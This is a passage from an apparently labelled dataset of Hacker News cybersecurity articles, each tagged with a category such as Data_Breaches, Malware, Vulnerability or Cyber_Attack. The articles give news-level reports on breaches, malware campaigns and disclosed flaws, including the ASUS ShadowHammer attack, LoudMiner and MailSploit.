The ""git.php.net (intentionally) support[s] pushing changes not only via SSH (using the Gitolite infrastructure and public key cryptography), but also via HTTPS,"" Popov said. ""The latter did not use Gitolite, and instead used git-http-backend behind Apache 2 Digest authentication against the master.php.net user database.""
""It is notable that the attacker only makes a few guesses at usernames, and successfully authenticates once the correct username has been found. While we don't have any specific evidence for this, a possible explanation is that the user database of master.php.net has been leaked, although it is unclear why the attacker would need to guess usernames in that case.""
Additionally, the master.php.net authentication system is said to be on a very old operating system and a version of PHP, raising the possibility that the attackers may have also exploited a vulnerability in the software to stage the attack.
As a consequence, the maintainers have migrated master.php.net to a new main.php.net system with support for TLS 1.2, in addition to resetting all existing passwords and storing passwords using bcrypt instead of a plain MD5 hash.

",Data_Breaches
Hacker Discloses New Unpatched Windows Zero-Day Exploit On Twitter,https://thehackernews.com/2018/12/windows-zero-day-exploit.html,"A security researcher with Twitter alias SandboxEscaper today released proof-of-concept (PoC) exploit for a new zero-day vulnerability affecting Microsoft's Windows operating system.

SandboxEscaper is the same researcher who previously publicly dropped exploits for two Windows zero-day vulnerabilities, leaving all Windows users vulnerable to the hackers until Microsoft patched them.

The newly disclosed unpatched Windows zero-day vulnerability is an arbitrary file read issue that could allow a low-privileged user or a malicious program to read the content of any file on a targeted Windows computer that otherwise would only be possible via administrator-level privileges.

The zero-day vulnerability resides in ""MsiAdvertiseProduct"" function of Windows that's responsible for generating ""an advertise script or advertises a product to the computer and enables the installer to write to a script the registry and shortcut information used to assign or publish a product.""

According to the researcher, due to improper validation, the affected function can be abused to force installer service into making a copy of any file as SYSTEM privileges and read its content, resulting in arbitrary file read vulnerability.
""Even without an enumeration vector, this is still bad news, because a lot of document software, like office, will actually keep files in static locations that contain the full path and file names of recently opened documents..,"" the researcher said.

""Thus by reading files like this, you can get filenames of documents created by other users.. the filesystem is a spiderweb and references to user-created files can be found everywhere.. so not having an enumeration bug is not that big of a deal.""

Besides sharing video demonstration of the vulnerability, SandboxEscaper also posted a link to a Github page hosting its proof-of-concept (PoC) exploit for the third Windows zero-day vulnerability, but the researcher's GitHub account has since been taken down.

This is the third time in the past few months SandboxEscaper has leaked a Windows zero-day vulnerability.

In October, SandboxEscaper released a PoC exploit for a privilege escalation vulnerability in Microsoft Data Sharing that allowed a low privileged user to delete critical system files from a targeted Windows system.

In late August, the researcher exposed details and PoC exploit for a local privilege escalation flaw in Microsoft Windows Task Scheduler occurred due to errors in the handling of the Advanced Local Procedure Call (ALPC) service.

Shortly after the PoC released, the then-zero-day vulnerability was found actively being exploited in the wild, before Microsoft addressed it in the September 2018 Security Patch Tuesday Updates.

",Vulnerability
This Cryptomining Malware Launches Linux VMs On Windows and macOS,https://thehackernews.com/2019/06/emulated-malware.html,"Cybersecurity researchers from at least two firms today unveiled details of a new strain of malware that targets Windows and macOS systems with a Linux-based cryptocurrency mining malware.

It may sound strange, but it's true.

Dubbed ""LoudMiner"" and also ""Bird Miner,"" the attack leverages command-line based virtualization software on targeted systems to silently boot an image of Tiny Core Linux OS that already contains a hacker-activated cryptocurrency mining software in it.

Isn't it interesting to use emulation to run single-platform malware on cross-platforms?

Spotted by researchers at ESET and Malwarebytes, attackers are distributing this malware bundled with pirated and cracked copies of VST (Virtual Studio Technology) software on the Internet and via Torrent network since August 2018.

VST applications contain sounds, effects, synthesizers, and other advanced editing features that allow tech-centric audio professionals to create music.

""Regarding the nature of the applications targeted, it is interesting to observe that their purpose is related to audio production; thus, the machines that they are installed on should have the good processing power and high CPU consumption will not surprise the users,"" ESET researchers said.

Researchers have found various malicious versions of nearly 137 VST-related applications, 42 of which are for Windows and 95 for macOS platform, including Propellerhead Reason, Ableton Live, Sylenth1, Nexus, Reaktor 6 and AutoTune.

For macOS systems, the software runs multiple shell scripts and uses the open-source Quick Emulator (QEMU) utility to launch the virtual Linux OS, and for Windows, it relies on VirtualBox for emulation.

Once installed and activated, the malware also gains persistence on the system by installing additional files and then launches virtual machines in the background.

These Linux OS images have already been pre-configured by attackers to launch cryptocurrency mining software automatically on the startup without ever needing a user to login and connect to the hacker's command-and-control servers.

""OVF file included in the Linux image describes the hardware configuration of the virtual machine: it uses 1GB of RAM and 2 CPU cores (with maximum usage of 90%),"" ESET researchers said.

""The Linux image is Tiny Core Linux 9.0 configured to run XMRig, as well as some files and scripts to keep the miner updated continuously.""

The malware ""can run two images at once, each taking 128 MB of RAM and one CPU core"" to mine simultaneously.

""Further, the fact that the malware runs two separate miners, each running from their own 130 MB Qemu image file, means that the malware consumes far more resources than necessary,"" Malwarebytes said.

The attack is another good reason why you should never trust unofficial and pirated software available on the Internet.

",Malware
"Spotify Hacked, Urges Android Users to Upgrade app and Change Password",https://thehackernews.com/2014/05/spotify-hacked-urges-android-users-to.html,"Today, the popular Music streaming service Spotify said the company has suffered a Data breach and warned users of its Android app to upgrade it in the wake of a potential data breach in their servers.

Spotify is a commercial music streaming service launched in October 2008 by Swedish start-up Spotify AB and is freely available for Android and iOS devices as well as for desktop computers with more than 40 million active users, out of which about 10 million users are its paid subscribers. It offers offline listening and ad-free playback are also available for Premium subscribers of the service.

The company announced that a hacker had allegedly broken into its systems and gained unauthorized access to the internal company data. So far only one of its users' accounts has been accessed in the data breach, but the company believes that there is no harm to the financial information, payment details or password of the affected user.
""Our evidence shows that only one Spotify user's data has been accessed and this did not include any password, financial, or payment information,"" Spotify chief technology officer Oskar Stal said in a blog post on Tuesday. ""We have contacted this one individual. Based on our findings, we are not aware of any increased risk to users as a result of this incident.""
The company takes the matters seriously and immediately launched an investigation. But they do not believe users are at any extended risk following the breach.

However, Stal said the company takes such matters very seriously, and as ""general precautions,"" Spotify will signed out some of their desktop, iOS, Android and Windows Phone apps users in the coming days and will ask them to log-in again by re-entering their username and password, just some extra steps to ensure its customers' private data stays safe.

Spotify will release the updates this week and will also guide its Android users to upgrade the Android app. ""Please note that offline playlists will have to be re-downloaded in the new version,"" Stål said. ""We apologize for any inconvenience this causes, but hope you understand that this is a necessary precaution to safeguard the quality of our service and protect our users.""

In their statements, Spotify has not given any details that how attackers were able to compromise the database, but the above Android app recommendation hints that users of Android app are likely at great risk, as there are possibilities that the data breach was caused because of a vulnerability in the Android app. Whereas, Spotify said, 'no action recommended for iOS and Windows Phone users' at this time.

The news comes after the latest eBay massive data breach that affected 145 million registered users across the world after the company's database was compromised by the hackers.

",Data_Breaches
Warning: ASUS Software Update Server Hacked to Distribute Malware,https://thehackernews.com/2019/03/asus-computer-hacking.html,"Remember the CCleaner hack?

CCleaner hack was one of the largest supply chain attacks that infected more than 2.3 million users with a backdoored version of the software in September 2017.

Security researchers today revealed another massive supply chain attack that compromised over 1 million computers manufactured by Taiwan-based tech giant ASUS.

A group of state-sponsored hackers last year managed to hijack ASUS Live automatic software update server between June and November 2018 and pushed malicious updates to install backdoors on over one million Windows computers worldwide.

According to cybersecurity researchers from Russian firm Kaspersky Lab, who discovered the attack and dubbed it Operation ShadowHammer, Asus was informed about the ongoing supply chain attack on Jan 31, 2019.
After analyzing over 200 samples of the malicious updates, researchers learned that hackers did not want to target all users, instead only a specific list of users identified by their unique MAC addresses, which were hardcoded into the malware.

""We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list,"" researchers say.

Like the CCleaner and ShadowPad hacks, the malicious file was signed with legitimate ASUS digital certificates in order to make it look an official software update from the company and to remain undetected for a long time.

Researchers didn't attribute the attack to any APT group at this moment, but certain evidence linked the latest attack to the ShadowPad incident from 2017, which Microsoft attributed to the BARIUM APT actors behind the Winnti backdoor.
""Recently, our colleagues from ESET wrote about another supply chain attack in which BARIUM was also involved, that we believe is connected to this case as well,"" researchers say.
According to Kaspersky, the backdoored version of ASUS Live Update was downloaded and installed by at least 57,000 Kaspersky users.
""We [researchers] are not able to calculate the total count of affected users based only on our data; however, we estimate that the real scale of the problem is much bigger and is possibly affecting over a million users worldwide,"" Kaspersky says.
Symantec told Vice that the company identified the malware on more than 13,000 machines running its antivirus software.

Most of the victims Kaspersky detected are from Russia, Germany, France, Italy, and the United States, though the malware infected users from around the world.

Kaspersky has notified ASUS and other antivirus companies of the attack while the investigation into the matter is still ongoing.

The antivirus firm has also released an automated tool for users to check whether they had specifically been targeted by the ShadowHammer advanced persistent threat.

",Cyber_Attack
Reserve Bank of Australia Hacked by Chinese malware,https://thehackernews.com/2013/03/reserve-bank-of-australia-hacked-by.html,"If hackers want to get into your computer network, they will find a way. You can make it harder but you can't stop them.
According to Australian Financial Review report on Monday, the Reserve Bank of Australia (RBA) was hacked by hackers who infiltrated its networks and allegedly stole information using a Chinese piece of malware.

After investigations they found multiple computers had been compromised by malicious software seeking intelligence. Several RBA staffers including heads of department were sent the malicious emails over two days, but it isn't known if the malware executed and succeeded in capturing information from the compromised computers.

The malware consisted of a web address that linked to a zip file that contained a Trojan which at the time was not detected by the anti-virus program, according to the bank.

A Defence department spokesperson said: ""The government does not discuss specific cyber incidents, activities or capabilities. [Doing so] could jeopardise ongoing investigations, monitoring of cyber incidents and the ability to protect information and networks.""

Documents also showed that six users clicked on the link contained in the mail. All of the six workstations affected did not have local administrator rights, so the virus could not spread.

",Malware
NoxPlayer Supply-Chain Attack is Likely the Work of Gelsemium Hackers,https://thehackernews.com/2021/06/noxplayer-supply-chain-attack-is-likely.html,"A new cyber espionage group named Gelsemium has been linked to a supply chain attack targeting the NoxPlayer Android emulator that was disclosed earlier this year.
The findings come from a systematic analysis of multiple campaigns undertaken by the APT crew, with evidence of the earliest attack dating back all the way to 2014 under the codename Operation TooHash based on malware payloads deployed in those intrusions.
""Victims of these campaigns are located in East Asia as well as the Middle East and include governments, religious organizations, electronics manufacturers and universities,"" cybersecurity firm ESET said in an analysis published last week.
""Gelsemium's whole chain might appear simple at first sight, but the exhaustive configurations, implanted at each stage, modify on-the-fly settings for the final payload, making it harder to understand.""
Targeted countries include China, Mongolia, North and South Korea, Japan, Turkey, Iran, Iraq, Saudi Arabia, Syria, and Egypt.
Since its origins in the mid-2010s, Gelsemium has been found employing a variety of malware delivery techniques ranging from spear-phishing documents exploiting Microsoft Office vulnerabilities (CVE-2012-0158) and watering holes to a remote code execution flaw in Microsoft Exchange Server — likely CVE-2020-0688, which was addressed by the Windows maker in June 2020 — to deploy the China Chopper web shell.
According to ESET, Gelsemium's first stage is a C++ dropper named ""Gelsemine,"" which deploys a loader ""Gelsenicine"" onto the target system, which, in turn, retrieves and executes the main malware ""Gelsevirine"" that's capable of loading additional plug-ins provided by the command-and-control (C2) server.
The adversary is said to have been behind a supply chain attack aimed at BigNox's NoxPlayer, in a campaign dubbed ""Operation NightScout,"" in which the software's update mechanism was compromised to install backdoors such as Gh0st RAT and PoisonIvy RAT to spy on its victims, capture keystrokes, and gather valuable information.
""Victims originally compromised by that supply chain attack were later being compromised by Gelsemine,"" ESET researchers Thomas Dupuy and Matthieu Faou noted, with similarities observed between the trojanized versions of NoxPlayer and Gelsemium malware.
What's more, another backdoor called Chrommme, which was detected on an unnamed organization's machine also compromised by the Gelsemium group, used the same C2 server as that of Gelsevirine, raising the possibility that the threat actor may be sharing the attack infrastructure across its malware toolset.
""The Gelsemium biome is very interesting: it shows few victims (according to our telemetry) with a vast number of adaptable components,"" the researchers concluded. ""The plug-in system shows that developers have deep C++ knowledge.""

",Malware
Phorpiex Botnet Sending Out Millions of Sextortion Emails Using Hacked Computers,https://thehackernews.com/2019/10/phorpiex-botnet-sextortion-emails.html,"A decade-old botnet malware that currently controls over 450,000 computers worldwide has recently shifted its operations from infecting machines with ransomware or crypto miners to abusing them for sending out sextortion emails to millions of innocent people.

Extortion by email is growing significantly, with a large number of users recently complaining about receiving sextortion emails that attempt to extort money from individuals by blackmailing them into exposing their sexual content.

Though until now, it wasn't clear how scammers were sending such massive amounts of emails without getting blacklisted by the email providers, security researchers from CheckPoint finally found the missing block in this puzzle.

In its latest report shared with The Hacker News prior to the release, Tel Aviv-based security firm CheckPoint reveals that a botnet, called Phorpiex, has recently been updated to include a spam bot designed to use compromised computers as proxies to send out over 30,000 sextortion emails per hour—without the knowledge of the infected computers' owners.

How Does Phorpiex Spam Bot Work?

The spambot module of Phorpiex downloads the list of its targets/receipts' email addresses from a remote command-and-control server and uses a simple implementation of the SMTP protocol to send sextortion emails.


""Then, an email address is randomly selected from the downloaded database, and a message is composed from several hardcoded strings. The spam bot can produce a large amount of spam emails – up to 30,000 per hour. Each individual spam campaign can cover up to 27 million potential victims,"" researchers explain.

""The spam bot creates a total of 15,000 threads to send spam messages from one database. Each thread takes a random line from the downloaded file. The next database file is downloaded when all spam threads finish. If we consider the delays, we can estimate that bot is able to send about 30,000 emails in an hour.""

To intimidate innocent recipients, criminals behind these sextortion campaigns also add one of the victims' online passwords in the subject line or content of the sextortion email, making it more convincing that hacker knows their passwords and might have access to their private content.

In reality, these combinations of email addresses and passwords of recipients were curated from various previously compromised databases. So, the passwords displayed to the victims don't necessarily belong to their email accounts; it could be old and related to any online service.

""The downloaded database is a text file, which contains up to 20,000 email addresses. In various campaigns, we observed from 325 to 1363 email databases on a C&C server. Therefore, one spam campaign covers up to 27 million potential victims. Each line of this file contains email and password delimited by colons,"" researchers say.

The same sextortion campaign powered by similar or the same botnet has also been named as ""Save Yourself"" malware attacks by other teams of researchers.

In over five months, cybercriminals behind this campaign have made more than 11 BTC, equivalent to approximately $88,000. Though the figure is not huge, researchers say the actual revenue made by the hackers could be larger, as they did not monitor the sextortion campaigns in the years before.
",Cyber_Attack
Uber fined $1.1 million by UK and Dutch regulators over 2016 data breach,https://thehackernews.com/2018/11/uber-data-breach-fine.html,"British and Dutch data protection regulators Tuesday hit the ride-sharing company Uber with a total fine of $1,170,892 (~ 1.1 million) for failing to protect its customers' personal information during a 2016 cyber attack involving millions of users.

Late last year, Uber unveiled that the company had suffered a massive data breach in October 2016, exposing names, email addresses and phone numbers of 57 million Uber riders and drivers along with driving license numbers of around 600,000 drivers.

Besides this, it was also reported that instead of disclosing the breach at the time, the company paid $100,000 in ransom to the two hackers with access to the stolen data in exchange for keeping the incident secret and deleting the information.

Today Britain's Information Commissioner's Office (ICO) fined Uber 385,000 pounds ($491,102), while the Dutch Data Protection Authority (Dutch DPA) levied a 600,000 euro ($679,790) penalty on Uber for failing to protect the personal information of its 3 million British and 174,000 Dutch citizens, respectively.

""In 2016 a data breach occurred at the Uber concern in the form of unauthorized access to personal data of customers and drivers. The Uber concern is fined because it did not report the data breach to the Dutch DPA and the data subjects within 72 hours after the discovery of the breach,"" the Dutch DPA says.

The ICO also confirmed that the attackers were able to compromise Uber's cloud-based storage system using stuffing attack—""a process by which compromised username and password pairs are injected into websites until they are matched to an existing account""—a loophole that could have been ""avoided.""

""Uber US did not follow the normal operation of its bug bounty programme. In this incident Uber US paid outside attackers who were fundamentally different from legitimate bug bounty recipients: instead of merely identifying a vulnerability and disclosing it responsibly, they maliciously exploited the vulnerability and intentionally acquired personal information relating to Uber users,"" the ICO states.

The UK watchdog also said that none of the affected customers compromised by the incident were notified of the breach. Instead, Uber started monitoring affected riders and drivers accounts for fraud 12 months after the cyber attack, when the incident was made public last year.

At the time, Uber notified regulatory authorities and offered affected drivers free credit monitoring and identity theft protection.

The company assured its users that other personal details, such as trip location history, credit card numbers, bank account numbers, Social Security numbers or dates of birth, were not accessed in the attack.

Since the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the fine of £385,000 imposed under the UK's old Data Protection Act 1998 is still lesser.

The penalty could have been much larger had it fallen under EU's General Data Protection Regulation (GDPR), wherein a company could face a maximum fine of 17 million pounds or 4% of its annual global revenue, whichever is higher, for such a privacy breach.

Last month, the UK's data protection watchdog also imposed a fine of £500,000 on Facebook for allowing political consultancy firm Cambridge Analytica to gather and misuse data of 87 million users improperly.

In September, the ICO also issued the maximum allowed fine of £500,000 on credit reporting agency Equifax for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers.
",Data_Breaches
"Hijacking plane's navigation system with an Android app, Researcher claimed",https://thehackernews.com/2013/04/hijacking-planes-navigation-system-with.html,"It is a terrifying prospect, a hack that allows an attacker to take control of plane navigation and cockpit systems has been revealed at a security conference in Europe.

This was demonstrated by Hugo Teso, a researcher at security consultancy N.Runs in Germany who's also a commercial airline pilot. He explained that by building an exploit framework called Simon and a complimentary Android app that delivers attack messages, he could manipulate a plane's path as he saw fit.


""You can use this system to modify approximately everything related to the navigation of the plane,"" Teso told reporters. Teso found he was able to eavesdrop on the system's communications over its 1MBps link, as well as blocking information and injecting data into link.

It took three years of hunting down holes in standard systems to work out how he could use radio signals to send his own navigation commands to a plane's control system, using publicly available Flight Management System (FMS) hardware and software which mirror the code onboard real planes.

The results of Teso's hard work are terrifying. The hack targets two technologies, Automatic Dependent Surveillance-Broadcast (ADS-B) and Aircraft Communications Addressing and Report System (ACARS).

""I expected them to have security issues but I did not expect them to be so easy to spot. I thought I would have to fight hard to get into them but it was not that difficult,"" Teso said.

He stressed his app was merely a proof of concept, intended to alert aircraft manufacturers to the security loopholes. He claimed the Federal Aviation Administration and the European Aviation Safety Administration were already working on fixing the vulnerability.

",Vulnerability
"Expedia Orbitz Travel, Flights, Hotel Booking Site Compromised",https://thehackernews.com/2018/03/expedia-data-breach.html,"Chicago-based online travel booking company Orbitz, a subsidiary of Expedia.com, reveals that one of its old websites has been hacked, exposing nearly 880,000 payment card numbers of the people who made purchases online.

Orbitz.com is a travel fare aggregator website and travel metasearch engine, allowing customers to quickly and easily search and book flights, hotels, rental cars, vacation packages, travel deals, cruises and more.

The data breach incident, which was detected earlier this month, likely took place somewhere between October 2016 and December 2017, potentially exposing customers' information from the travel site to hackers.

According to the company, hackers may have accessed payment card information stored on a consumer and business partner platform, along with customers' personal information, including name, address, date of birth, phone number, email address and gender.

However, the company said its services such as Expedia flights, Expedia hotels, Expedia business account, Expedia car insurance, and Expedia merchant services have not been affected by the breach.

Expedia Orbitz Says Data Breach Exposes 880,000 Payment Cards

Orbitz worked closely with cybersecurity experts and law enforcement to investigate the breach and confirms that the social security numbers for U.S. customers were not exposed in this incident.

The company claims to have enhanced the security of its compromised platform, though it assures its customers that the current website Orbitz.com was not impacted.

""We deeply regret the incident, and we are committed to doing everything we can to maintain the trust of our customers and partners,"" Orbitz said in a statement.

Orbitz is currently working to notify the thousands of affected customers and plans to offer one year of free credit monitoring and identity protection service.

Before looking for hotel bookings, Expedia travel rewards, how to list hotel on Expedia, how to book first class flights on Expedia or how to list hotel on Expedia, you should protect your information.

Since the payment card information is now in the hands of cybercriminals, customers are advised to closely monitor their credit card statements and report any unauthorized charges to the issuing bank.

It will be quite impressive to see if the company will compensate its affected users with Expedia coupon code, Orbitz rewards or Expedia promo code so that users with Expedia business account can use Expedia points on the website.

It will not come as a surprise if Expedia stock price drops as soon as Orbitz and Expedia press release is made public with detailed information on the extent of the breach.

For any query related to the data breach, you can call Orbitz or Expedia customer service. Orbitz customer service number is 001-312-279-7740, and Expedia customer service number is (877) 227-7481.

Or you can only call for Expedia rewards points, or promotional codes, from the company ;-)
",Data_Breaches
Chrome Bug Allowed Hackers to Find Out Everything Facebook Knows About You,https://thehackernews.com/2018/08/google-chrome-vulnerability.html,"With the release of Chrome 68, Google prominently marks all non-HTTPS websites as 'Not Secure' on its browser to make the web a more secure place for Internet users.

If you haven't yet, there is another significant reason to immediately switch to the latest version of the Chrome web browser.

Ron Masas, a security researcher from Imperva, has discovered a vulnerability in web browsers that could allow attackers to find everything other web platforms, like Facebook and Google, knows about you—and all they need is just trick you into visiting a website.

The vulnerability, identified as CVE-2018-6177, takes advantage of a weakness in audio/video HTML tags and affects all web browsers powered by ""Blink Engine,"" including Google Chrome.

To illustrate the attack scenario, the researcher took an example of Facebook, a popular social media platform that collects in-depth profiling information on its users, including their age, gender, where you have been (location data) and interests, i.e., what you like and what you don't.

You must be aware of Facebook offering post targeting feature to page administrators, allowing them to define a targeted or restricted audience for specific posts based on their age, location, gender, and interest.

How the Browser Attack Works?
To demonstrate the vulnerability, the researcher created multiple Facebook posts with different combinations of the restricted audiences to categorize victims according to their age, location, interest or gender.

Now, if a website embeds all these Facebook posts on a web page, it will load and display only a few specific posts at the visitors' end based on individuals' profile data on Facebook that matches restricted audience settings.

For example, if a post—defined to be visible only to the Facebook users with age 26, male, having interest in hacking or Information Security—was loaded successfully, an attacker can potentially learn personal information on visitors, regardless of their privacy settings.

Though the idea sounds exciting and quite simple, there are no direct ways available for site administrators to determine whether an embedded post was loaded successfully for a specific visitor or not.
Thanks to Cross-Origin Resource Sharing (CORS)—a browser security mechanism that prevents a website from reading the content of other sites without their explicit permission.

However, Imperva researcher found that since audio and video HTML tags don't validate the content type of fetched resources or reject responses with invalid MIME types, an attacker can use multiple hidden video or audio tags on a website to request Facebook posts.

Though this method doesn't display Facebook posts as intended, it does allow the attacker-controlled website to measure (using JavaScript) the size of cross-origin resources and number of requests to find out which specific posts were successfully fetched from Facebook for an individual visitor.
""With several scripts running at once — each testing a different and unique restriction — the bad actor can relatively quickly mine a good amount of private data about the user,"" Masses said.
""I found that by engineering sites to return a different response size depending on the currently logged user properties it is possible to use this method to extract valuable information.""
A member from Google security team also pointed that the vulnerability could also work against websites using APIs to fetch user session specific information.

The core of this vulnerability has some similarities with another browser bug, patched in June this year, which exploited a weakness in how web browsers handle cross-origin requests to video and audio files, allowing attackers to read the content of your Gmail or private Facebook messages.

Imperva researcher reported the vulnerability to Google with a proof of concept exploit, and the Chrome team patched the issue in Chrome 68 release.

So, Chrome users are strongly recommended to update their browser to the latest version, if they haven't yet.
",Data_Breaches
MailSploit — Email Spoofing Flaw Affects Over 30 Popular Email Clients,https://thehackernews.com/2017/12/email-spoofing-client.html,"If you receive an email that looks like it's from one of your friends, just beware! It's possible that the email has been sent by someone else in an attempt to compromise your system.

A security researcher has discovered a collection of vulnerabilities in more than 30 popular email client applications that could allow anyone to send spoofed emails bypassing anti-spoofing mechanisms.

Discovered by security researcher Sabri Haddouche, the set of vulnerabilities, dubbed MailSploit, affects Apple Mail (macOS, iOS, and watchOS), Mozilla Thunderbird, several Microsoft email clients, Yahoo Mail, ProtonMail, and others.

Although most of these affected email client applications have implemented anti-spoofing mechanisms, such as DKIM and DMARC, MailSploit takes advantage of the way email clients and web interfaces parse ""From"" header.

Email spoofing is an old-school technique, but it works well, allowing someone to modify email headers and send an email with the forged sender address to trick recipients into believing they are receiving that email from a specific person.
In a dedicated website went up today, Haddouche explained how the lack of input sanitization implemented by vulnerable email clients could lead to email spoofing attack—without actually exploiting any flaw in DMARC.

To demonstrate this attack, Haddouche created a payload by encoding non-ASCII characters inside the email headers, successfully sending a spoofed email from an official address belonging to President of the United States.

""Using a combination of control characters such as new lines or null-byte, it can result in hiding or removing the domain part of the original email,"" Haddouche says in his blog post.
""We've seen a lot of malware spreading via emails, relying on social engineering techniques to convince users to open unsafe attachments, or click on phishing links. The rise of ransomware distributed over email clearly demonstrates the effectivity of those mechanisms.""

Besides spoofing, the researcher found some of the email clients, including Hushmail, Open Mailbox, Spark, and Airmail, are also vulnerable to cross-site scripting (XSS) vulnerabilities, which stems from the email spoofing issue.

Haddouche reported this spoofing bug to 33 different client applications, 8 of which have already patched this issue in their products before the public disclosure and 12 are on their way to fix it.

Here you can find the list of all email and web clients (both patched and unpatched) that are vulnerable to MailSploit attack.

However, Mozilla and Opera consider this bug to be a server-side issue and will not be releasing any patch. Mailbird closed the ticket without responding to the issue, while remaining 12 vendors did not yet comment on the researcher's report.

",Vulnerability
"Finland's 3rd Largest Data Breach Exposes 130,000 Users' Plaintext Passwords",https://thehackernews.com/2018/04/helsingin-uusyrityskeskus-hack.html,"Over 130,000 Finnish citizens have had their credentials compromised in what appears to be third largest data breach ever faced by the country, local media reports.

Finnish Communications Regulatory Authority (FICORA) is warning users of a large-scale data breach in a website maintained by the New Business Center in Helsinki (""Helsingin Uusyrityskeskus""), a company that provides business advice to entrepreneurs and help them create right business plans.

Unknown attackers managed to hack the website (https://liiketoimintasuunnitelma.com) and stole over 130,000 users' login usernames and passwords, which were stored on the site in plain-text without using any cryptographic hash.

Right after knowing of the breach on 3rd April, the company took down the affected website, which is currently showing ""under maintenance"" notice with a press release about the incident on its homepage.
""We are very sorry for all the people who have been subjected to crime and who may be affected by mental or financial disadvantages. Unfortunately, we are not yet able to know exactly how many people are and what information this information breaks. We have filed an offense report, and the parties do not need to report to the police separately,"" says Jarmo Hyökyvaara, Chairman of the Board of the New Business Center of Helsinki.
""The maintenance and security of our service was the responsibility of our subcontractor, our long-term partner. Unfortunately, the security of the service has not been enough to prevent this kind of attack. This is, in part, our mistake, and as a subscriber and owner of the service we are responsible for this.""
The company also ensures that the detailed information of its customers was stored on a different system, which was not affected by the data breach.

The incident has been reported to the Helsinki police, who is currently investigating the case as a gross fraud.

As soon as the website returns, users who have an account with the affected website are strongly recommended to change their passwords.

Since the plain-text passwords have been exposed to hackers, it would be a great idea for users to change their passwords for any other website, in case they are using identical to the one used on this website.

",Cyber_Attack
Bitcoin Exchange Offers $3.5 Million Reward for Information of Stolen Bitcoins,https://thehackernews.com/2016/08/bitcoin-exchange-hack.html,"Hong Kong-based Bitcoin exchange 'Bitfinex' that lost around $72 Million worth of its customers' Bitcoins last week is now offering a reward of $3.5 Million to anyone who can provide information that leads to the recovery of the stolen Bitcoins.

Bitfinex revealed on August 2 that the cryptocurrency exchange had suffered a major security breach, which resulted in the loss of nearly 120,000 BTC.

The hack led to a 36 percent loss for each Bitfinex customer, who will be issued tokens to be redeemed as the company is able to reimburse the losses.

Now, the exchange is willing to offer 5% of the lost funds (nearly 6,000 BTC) as a reward for the recovery of the stolen bitcoins.

The news came after a Reddit user, using alias someguy916, inquired about a reward Bitfinex would be willing to offer for the stolen bitcoins.

In response to the question, Bitfinex community director Zane Tackett stated that a bounty would be awarded to anyone who has information that would help the exchange recover the funds.
""5% of recovery and for information leading to recovery (but no bounty if no recovery); if multiple persons lead to recovery, share pro rata,"" Tackett wrote.
Where 5% of the stolen funds is about 6,000 BTC, which is around $3.5 MILLION.

Bitfinex is the third-largest Bitcoin exchange in the world. After the news of the Bitfinex hack had broken on August 2, the price of Bitcoin dropped almost 20%, from $602.78 to $541 per Bitcoin, within the day after the announcement.

As a precaution, Bitfinex has adopted additional security measures for its customers, as the company said in a statement Wednesday:
""We have added additional platform and infrastructure security checks; regenerated all encrypted services, including wallets, security tokens, and passwords; moved funds to multisig cold storage; re-evaluated all third-party integrations; performed a comprehensive system audit in order to identify vulnerabilities; and, rebuilt our entire platform on new infrastructure.""
The best way to secure yourself from such hacks is to keep your Bitcoins OFFLINE.

The safest place to store your Bitcoins or any other digital currency is in on your own (if possible, offline) wallet; instead on any website or cryptocurrency exchange.

",Cyber_Attack
16 Million German Users' Data Compromised in mysterious Botnet Malware attack,https://thehackernews.com/2014/01/16-million-german-users-data.html,"A New day begins with a Cup of Coffee and with new massive Data Breach News.

This time in Germany, the Digital identities of about 16 million online users had been stolen, and posing a risk to their accounts linked to social media and other services.

Federal Office for Information Security (BSI) discovered a security breach after running an analysis of the botnet network of computers infected with malware.

The compromised accounts have email addresses as their username and also the passwords were stolen, that could also be sold to spammers and people looking to ""phish"" account holders.

Until now it hasn't been known that how and when the analysis was carried out and who exactly were involved behind this massive data breach, as the BSI refused to give details on the source of the information.

Authorities have set up a German-language website which allows users to enter their email address and check whether their email accounts are compromised or not.

The officer advised those with compromised email addresses to change their passwords of ""social networking sites, online shops, email accounts and other online services;"" and check their computers for malware and viruses and also assured the user that they are taking necessary security measures against it.

An Agency spokesman, Tim Griese, said about half the accounts have '.de' domain-name endings, denoting German-based accounts, and it appears the majority of users are in Germany, RT reports.

Data breach has become a burning issue these days, and a problem which is skyrocketing!

",Malware
WordPress Cookie Flaw Lets Hackers Hijack Your Account,https://thehackernews.com/2014/05/wordpress-cookie-flaw-lets-hackers-to.html,"Do you own a blog on WordPress.com website? If Yes, then you should take some extra cautious while signing into your Wordpress account from the next time when connected to public Wi-Fi, because it can be hacked without your knowledge, even if you have enabled two-factor authentication.

Yan Zhu, a researcher at the Electronic Frontier Foundation (EFF) noticed that the blogs hosted on WordPress are sending user authentication cookies in plain text, rather than encrypting it. So, it can be easily hijacked by even a Script-Kiddie looking to steal information.

HIJACKING AUTHENTICATION COOKIES
When Wordpress users log into their account, WordPress.com servers set a web cookie with name ""wordpress_logged_in"" into the users' browser, Yan Zhu explained in a blog post. He noticed that this authentication cookie being sent over clear HTTP, in a very insecure manner.

One can grab HTTP cookies from the same Wi-Fi Network by using some specialized tools, such as Firesheep, a networking sniffing tool. The cookie can then be added to any other web browser to gain unauthorized access to the victim's WordPress account and in this way a WordPress.com account could be easily compromised.
Using stolen cookies, an attacker can get access to the victim's WordPress account automatically without entering any credentials and fortunately the vulnerability does not allow hijackers to change account passwords, but who cares? as the affected users would have no knowledge that their wordpress account has been hijacked.
""Hijacking cookie on WP gives you login for 3 years. There's no session expiration for the cookie, even when you log out."" Yan tweeted.
Using this technique, one can also see blog statistics, can post and edit articles on the hijacked Wordpress blog and same account also allows the attacker to comment on other Wordpress blogs from the victim's profile. Sounds Horrible! Isn't it?
But, an attacker ""couldn't do some blog administrator tasks that required logging in again with the username/password, but still, not bad for a single cookie."" she explained.
She recommends that Wordpress 'should set the ""secure"" flag on sensitive cookies so that they're never sent in plaintext.'

The Good news is that, if you own a self-hosted Wordpress website with full HTTPS support, then your blog is not vulnerable to cookies reuse flaw.

Recently, similar Cookies reuse vulnerability was discovered by 'The Hacker News' team on eBay website, that could allow an attacker to hijack eBay accounts without knowing the victims' actual credentials.

",Vulnerability
"Most LokiBot samples in the wild are ""hijacked"" versions of the original malware",https://thehackernews.com/2018/07/lokibot-infostealer-malware.html,"Hacker himself got hacked.

